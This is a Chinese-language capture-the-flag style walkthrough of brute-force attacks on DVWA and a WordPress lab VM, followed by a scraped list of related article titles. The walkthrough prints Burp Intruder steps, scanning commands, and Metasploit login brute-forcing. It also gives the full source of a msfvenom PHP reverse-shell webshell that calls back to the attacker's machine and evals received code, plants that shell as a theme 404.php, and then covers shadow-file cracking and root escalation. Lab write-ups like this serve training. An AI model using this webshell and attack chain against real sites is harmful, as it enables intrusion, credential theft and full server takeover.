WEB安全实战(带靶场)–暴力破解

靶场一:DVWA中的暴力破解

靶场二:靶场实验 暴力破解

暴力破解百度云链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码:1234

Brute Force(暴力破解)

Brute Force是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击,Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

靶场一:DVWA中的暴力破解

源码解析

if( isset( $_GET[ 'Login' ] ) ) {# 获取用户名和密码$user = $_GET[ 'username' ];$pass = $_GET[ 'password' ];$pass = md5( $pass );# 查询验证用户名和密码$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {# 输出头像和用户名$avatar = mysql_result( $result, 0, "avatar" );echo "<p>Welcome to the password protected area {$user}</p>";}else {登录失败}mysql_close();
}

Isset

检测变量是否已声明并且其值不为 null
(https://www.php.net/manual/zh/function.isset.php)
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。

$_GET 和 $_POST

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。

mysql_query() 函数

执行一条 MySQL 查询

mysql_error() 函数

返回上一个 MySQL 操作产生的文本错误信息。

mysql_num_rows() 函数

返回结果集中行的数目。

mysql_result()函数

返回结果集中一个字段的值,如果成功,则该函数返回字段值。如果失败,则返回 false。

综上所述:未做登录验证码以及登录次数限制,这是初级代码,还存在sql注入。

漏洞利用

第一步:使用burpsuite抓包

第二步:ctrl+I将包复制到intruder模块,因为要对username(为了节省时间这里直接用admin)和password参数进行爆破,所以在password参数的内容两边加$

第三步:选中Payloads,载入字典,点击Start attack进行爆破
获取到密码为password

实验一结束

靶场二:靶场实验 暴力破解

实验环境

攻击机:kali
IP:192.168.31.15

靶场机器:暴力破解.ova(Ubuntu)
IP:192.168.31.86

信息探测

扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口

扫描网页目录(这里后期补充换了一下ip,不影响观看)

dirb http://ip:端口

漏洞挖掘

打开WEB首页

查看站点敏感目录:/secret/

打开后台登录页面

漏洞利用

Wordpress用户名枚举(需要联网)

wpscan --url URL ----enumerate u

发现用户名admin

利用Metasploit 进行密码暴力破解

msfconsole

利用wordpress用户枚举模块

msf6 > use auxiliary/scanner/http/wordpress_login_enum

#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin   #设置目标ip
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86                                                                            #设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/#设置字典文件路径
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt      #开始攻击
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

发现密码为admin

Tips:页面登陆 如果发现登陆页面跳转失败

修改host文件进行ip映射

顺利打开:用户名:admin 密码:admin

登陆成功

漏洞提权

生成webshell(php木马文件)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

源码附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

运行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

Msf反弹shell

下载用户密码以及影子文件进行破解


获取到用户名以及密码:marlinspike (marlinspike)

shell提权(利用python模块pty)

python -c "import pty;pty.spawn('/bin/bash')"

切换为marlinspike用户

查看sudo权限

切换为root权限

获取到flag值 实验结束

WEB安全实战(带靶场)–暴力破解相关推荐

  1. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置 文章目录 黑帽python第二版(Black Hat P ...

  2. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证 文章目录 黑帽python第二版(Black Ha ...

  3. Pikachu靶场-暴力破解

    1.暴力破解 1.Burte Force(暴力破解)概述 Burte Force(暴力破解)概述 "暴力破解"是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息 ...

  4. Pikachu靶场暴力破解通关

    目录 字典获取 BP四种攻击模式 一.Sniper(狙击手模式) 二.Battering ram(攻城锤模式) 三.Pitchfork(叉子模式) 四.Cluster bomb(炸弹模式) 靶场练习 ...

  5. Web安全之《SSH暴力破解》

    <SSH暴力破解>作业 课程名称:<Web安全(一)> [要求] 概念越详细越好: 验证过程必要有截图和文字说明: 防护措施必须超过6条以上: 其余部分均可配文字简介叙述: 作 ...

  6. pikachu靶场暴力破解专题

     一.前言 pikachu是我作为初探渗透的平台,所以我会在每个专题前增加更多的基础知识,一是方便自己巩固基础,二是帮助一些也打算入门渗透的小白更好的理解. 二.暴力破解 pikachu靶场里给出的暴 ...

  7. pikachu靶场 暴力破解

    目录 基于表单的暴力破解 验证码绕过(on server) 验证码绕过(on client) token防爆破? 基于表单的暴力破解 这一关没有防护,直接开始攻击过程 开启抓包,输入用户名admin, ...

  8. Pikachu靶场暴力破解关卡3

    这是暴力破解关卡的第三关on client 正常做题思路 首先输入username,按提交看页面的显示 提示请输入验证码 接着输入password继续点击登录 又是请输入验证码 接着输入错误的验证码看 ...

  9. web渗透测试----5、暴力破解漏洞--(6)VNC密码破解

    文章目录 一.hydra 二.Medusa 三.Ncrack 四.Patator 五.Metasploit 虚拟网络控制台 (Virtual Network Console:VNC)是一款优秀的远程控 ...

  10. Kali 暴力破解--medusa/hydra/xhydra

    目录 1 实战-使用 hydra 工具在线破解系统用户密码 2 实战-使用 Medusa 工具在线破解 3 实战-图形化暴力破解软件 xhydra 1 实战-使用 hydra 工具在线破解系统用户密码 ...

最新文章

  1. oracle怎样开启服务,Oracle 11g必须开启的服务及服务详细介绍
  2. 回顾国产手机4年沉浮,仍然只是靠这三招翻身
  3. 解决mysql操作1045错误,1153错误和1130错误
  4. 配置Debian11服务器允许root用户远程SSH登录
  5. 【python】快速对图像进行傅里叶变换
  6. mysql 锁_浅谈MySQL的七种锁
  7. Oracle 创建表空间借鉴 保留,占版权留言告知
  8. MarkDownPad 2实用教程
  9. beego golang bootstrap-table做月度考勤(打卡、签到)统计表
  10. FineCMS任意头像上传漏洞复现:文件的四次上传
  11. Ubantu搭建深度学习和强化学习环境
  12. 数据结构PTA 进阶实验5-3.2 新浪微博热门话题
  13. java 反射为何耗性能_Java反射的性能成本
  14. Spring源码理解
  15. 解决更新音频驱动后显示驱动异常——Smart Sound Technology
  16. 谷歌将使用AI帮助用户实现更智能搜索模式——方法如下
  17. mini2440+jlink+mkd 裸机按键中断调试心得体会(2013.11.17已更新)
  18. 集成华为手部关键点识别服务轻松识别手语字母
  19. XML与HTTP协议
  20. [GXYCTF2019]StrongestMind

热门文章

  1. 顺腹式呼吸与逆腹式呼吸的功效及选用(转)
  2. ReenactGAN: Learning to Reenact Faces via Boundary Transfer   论文翻译
  3. linux系统加载u盘的服务,Linux系统下挂载U盘的方法
  4. 逆透视变换IPM:将摄像机拍摄的图片转换为鸟瞰图
  5. 不变子群、商群与群同态基本定理
  6. 在Mac上如何轻松下载来自浏览器的软件或内容
  7. 个人MBTI性格分析和五大性格特质
  8. 象帝先加入硬件生态共创计划,共同打造智算生态
  9. Lazarus下WinCE调试
  10. 创建glance镜像报错HTTP403